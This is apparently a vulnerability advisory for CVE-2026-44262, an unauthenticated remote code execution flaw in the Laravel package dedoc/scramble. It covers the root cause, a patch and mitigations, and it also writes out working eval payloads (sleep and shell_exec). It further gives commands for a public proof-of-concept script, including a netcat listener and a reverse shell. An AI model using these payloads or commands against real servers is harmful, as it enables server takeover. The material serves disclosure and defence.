# CVE-2026-44262 - dedoc/scramble Unauthenticated RCE

- **URL:** https://hackindex.io/vulnerabilities/CVE-2026-44262
- **CVE:** CVE-2026-44262
- **GHSA:** GHSA-4rm2-28vj-fj39
- **CVSS score:** 9.4
- **CVSS vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
- **Type:** CWE-94
- **Authentication:** None
- **Complexity:** Low
- **Privileges:** None
- **Affected versions:** >= 0.13.2, <= 0.13.21
- **Patched versions:** 0.13.22
- **Published:** 2026-05-07
- **Updated:** 2026-05-12

**dedoc/scramble** is a popular Laravel package that auto-generates OpenAPI documentation by statically analyzing your controllers. Versions **>=0.13.2 and <0.13.22** contain a critical Remote Code Execution vulnerability that requires zero authentication and zero user interaction.

## **Root Cause**

Scramble builds its OpenAPI spec by parsing controller code and evaluating Laravel validation rules. Internally, `NodeRulesEvaluator::doEvaluateExpression()` does the following:

```php
extract($variables);
return eval("return $code;");
```

The `$variables` array is populated by tracking assignments in the controller. When a controller assigns user input to a variable named `$code` and passes it to `validate()`, Scramble picks it up:

```php
public function index(Request $request)
{
    $code = $request->input('sort', 'required|string');

    $request->validate([
        'name' => $code,
    ]);
}
```

Scramble tracks that `$code` comes from `$request->input()` and includes it in `$variables`. When `extract($variables)` runs, it overwrites Scramble's own local `$code` variable. The attacker controls what gets `eval()`'d.

## **Impact**

An unauthenticated attacker can send a crafted request to `/docs/api.json` and execute arbitrary PHP on the server. Full system compromise is possible.

## **Exploitation**

The vulnerability is triggered via a query parameter on the OpenAPI spec endpoint. The parameter name is discovered automatically from the spec itself.

**Timing probe (safe detection):**

```bash
GET /docs/api.json?sort=sleep(4)
```

A ~4 second response delay confirms the `eval()` fires.

**Command execution:**

```bash
GET /docs/api.json?sort=print(shell_exec('id'))
```

Output appears prepended to the JSON response body.

## **Remediation**

Update to **dedoc/scramble >= 0.13.22**:

```bash
composer require dedoc/scramble:^0.13.22
```

If patching is not immediately possible, restrict access to `/docs` and `/docs/api.json` at the web server level or add `RestrictedDocsAccess` middleware in `config/scramble.php`.

## **Proof of Concept**

The PoC is available at [github.com/joshuavanderpoll/CVE-2026-44262](https://github.com/joshuavanderpoll/CVE-2026-44262). It auto-detects vulnerable parameters, confirms via timing probe, and supports command execution, file read, raw PHP eval, and reverse shell.

## **Setup**

```bash
git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://target.com --command "whoami"
```

## **Get a reverse shell**

Start a listener first:

```bash
nc -lvnp 4444
```

Then send the payload:

```bash
python3 CVE-2026-44262.py --target http://target.com --shell --lhost YOUR_IP --lport 4444
```

## **Docker Lab**

A self-contained lab running dedoc/scramble 0.13.21 is included in the repository. No configuration needed.

```bash
git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262/docker
docker compose up -d
```

The vulnerable app starts at `http://localhost:8000`. Run the exploit directly against it:

```bash
python3 ../CVE-2026-44262.py --target http://localhost:8000 --command "id"
```

To stop the lab:

```bash
docker compose down
```